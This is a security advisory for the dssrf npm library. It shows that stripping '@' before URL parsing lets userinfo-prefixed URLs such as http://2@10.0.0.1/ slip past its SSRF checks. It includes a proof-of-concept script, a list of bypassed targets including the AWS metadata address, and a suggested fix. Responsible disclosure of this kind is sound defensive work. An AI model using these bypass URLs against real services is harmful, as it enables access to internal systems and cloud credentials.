dssrf has an SSRF bypass with remove_at_symbol_in_string

Summary

is_url_safe in v1.0.3 contains an SSRF bypass. remove_at_symbol_in_string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.

Vulnerability

In helpers.ts, is_url_safe does:

u = remove_at_symbol_in_string(u);   // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname;    // resolved from the corrupted string

What happens step by step

Input: http://evil.com@127.0.0.1/

1. remove_at_symbol_in_string → http://evil.com127.0.0.1/
2. new URL(...) → hostname = "evil.com127.0.0.1"
3. Not a bare IP, not IPv6 → passes all IP checks
4. is_hostname_resolve_to_internal_ip("evil.com127.0.0.1") → NXDOMAIN → returns false
5. Result: true (safe) — but any HTTP client using the original URL connects to 127.0.0.1

Proof of Concept

import nock from 'nock';
import { got } from 'got';
import { is_url_safe } from 'dssrf';

// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET_DATA');

const BYPASS_URL = 'http://2@10.0.0.1/';
const PLAIN_URL  = 'http://10.0.0.1/';

// dssrf should block both — it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is_url_safe('${PLAIN_URL}')   =`, await is_url_safe(PLAIN_URL),  '← correctly blocked');
console.log(`is_url_safe('${BYPASS_URL}') =`, await is_url_safe(BYPASS_URL), '← ⚠️  BYPASSED (should be false)');

// HTTP client with the bypass URL — gets SECRET_DATA back from 10.0.0.1
console.log('\n--- HTTP client ---');
try {
  const res = await got(BYPASS_URL, { retry: { limit: 0 } });
  console.log(`got('${BYPASS_URL}') response:`, res.body, '← ⚠️  VULNERABLE');
} catch (e) {
  console.log(`got('${BYPASS_URL}') blocked:`, e.message);
}

Root Cause

@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to reject any URL that contains a userinfo component after parsing.

Suggested Fix

Remove the remove_at_symbol_in_string call from is_url_safe and add a userinfo check after new URL():

const parsed = new URL(u);

// Reject userinfo — '@' in authority is a classic SSRF bypass vector
if (parsed.username !== "" || parsed.password !== "") {
  return false;
}

A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.

Impact

• Affected version: 1.0.3 (latest)
• Bypasses: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (169.254.169.254), any internal hostname via userinfo prefix
• Note: The GHSA-8p33-q827-ghj5 advisory patched version (1.0.3) should be updated since this vector was not covered by that fix

Users are strongly advised to upgrade to dssrf 1.0.4